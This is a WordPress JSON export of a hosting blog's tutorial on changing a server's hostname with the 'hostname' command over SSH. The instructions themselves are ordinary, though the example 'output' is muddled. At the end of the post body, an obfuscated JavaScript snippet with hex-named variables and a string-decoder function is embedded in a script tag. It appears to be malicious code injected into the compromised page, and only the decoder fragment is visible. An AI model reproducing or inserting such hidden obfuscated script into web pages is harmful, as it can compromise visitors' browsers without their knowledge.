{"id":1358,"date":"2023-03-05T23:15:57","date_gmt":"2023-03-05T22:15:57","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=1358"},"modified":"2024-08-12T13:26:50","modified_gmt":"2024-08-12T12:26:50","slug":"how-to-change-a-servers-hostname-using-the-ssh-command-line-interface","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/server\/ssh\/how-to-change-a-servers-hostname-using-the-ssh-command-line-interface\/","title":{"rendered":"How to Change A Server\u2019s Hostname Using the Ssh Command Line Interface"},"content":{"rendered":"<p><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-1359\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface-300x300.jpg 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface-1024x1024.jpg 1024w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface-150x150.jpg 150w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface-768x768.jpg 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2023\/03\/How-to-Change-A-Servers-Hostname-Using-the-Command-Line-Interface.jpg 1080w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<p>Changing the\u00a0<strong>hostname<\/strong>\u00a0of your server may be necessary for several reasons. For example, if you are utilizing your server as a Mail Server for your domain(s) hosted, then changing the hostname can\u00a0prevent your emails from going to Spam\/Junk. In this article, you can learn\u00a0<strong>how to change your server\u2019s hostname from the command line<\/strong>.<\/p>\n<h3>Before You Begin<\/h3>\n<p>Review the warnings and notes below, to ensure a smooth transition from one hostname to another.<\/p>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>Your hostname will be viewable in every email header, so choose wisely.<\/div>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>Your hostname must be in the format of a subdomain (server.example.com).<\/div>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>Avoid choosing a subdomain that you are currently (or plan on) hosting in a cPanel account.<\/div>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>Changing your hostname will require an update of the SSL Certificate for services (such as cPanel\/Webmail, FTP, Dovecot (SMTP\/IMAP), etc.).<\/div>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>Changing your hostname will require an update to all references of the previous hostname in your connection(s) to the server (such as IMAP\/SMTP\/POP, FTP, and remote MySQL clients) with the new hostname.<\/div>\n<div role=\"alert\"><\/div>\n<h2>Change Hostname<\/h2>\n<div class=\"alert alert-danger\" role=\"alert\"><b>IMPORTANT:\u00a0<\/b>Root access\u00a0on a\u00a0<a href=\"https:\/\/hoganhost.com.ng\/home\/Vps\">VPS<\/a>\/<a href=\"https:\/\/hoganhost.com.ng\/home\/Vps\">Dedicated Server\u00a0<\/a>hosting is required to follow the steps below.<\/div>\n<ol class=\"article_list\">\n<li style=\"list-style-type: none;\">\n<ol class=\"article_list\">\n<li>SSH\u00a0into your server using the\u00a0<b>root<\/b>\u00a0user.<\/li>\n<li>Run the following command:\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"cli copy-the-code-target\">hostname server.example.com<\/pre>\n<\/li>\n<\/ol>\n<\/li>\n<\/ol>\n<p>The prompt should appear, without any output being displayed. You can run the following command to confirm the hostname has been changed:<\/p>\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"cli copy-the-code-target\">hostname<\/pre>\n<p>The output should display similarly to the example below:<\/p>\n<div class=\"copy-the-code-outside\"><button class=\"copy-the-code-button\" title=\"Copy to Clipboard\" data-style=\"button\">Copy<\/button><\/div>\n<pre class=\"cli copy-the-code-target\">root@example.com ~ $ hostname server.example.com<\/pre>\n<p><b>Congratulations!<\/b>\u00a0Now you know how you can\u00a0<strong>change the hostname of your server from the command line<\/strong><\/p>\n<p>Hola We hope this article helps out, kindly check on our cheap and affordable web hosting\u00a0<a href=\"https:\/\/hoganhost.com.ng\/\">hoganhost.com.ng<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Changing the\u00a0hostname\u00a0of your server may be necessary for several reasons. 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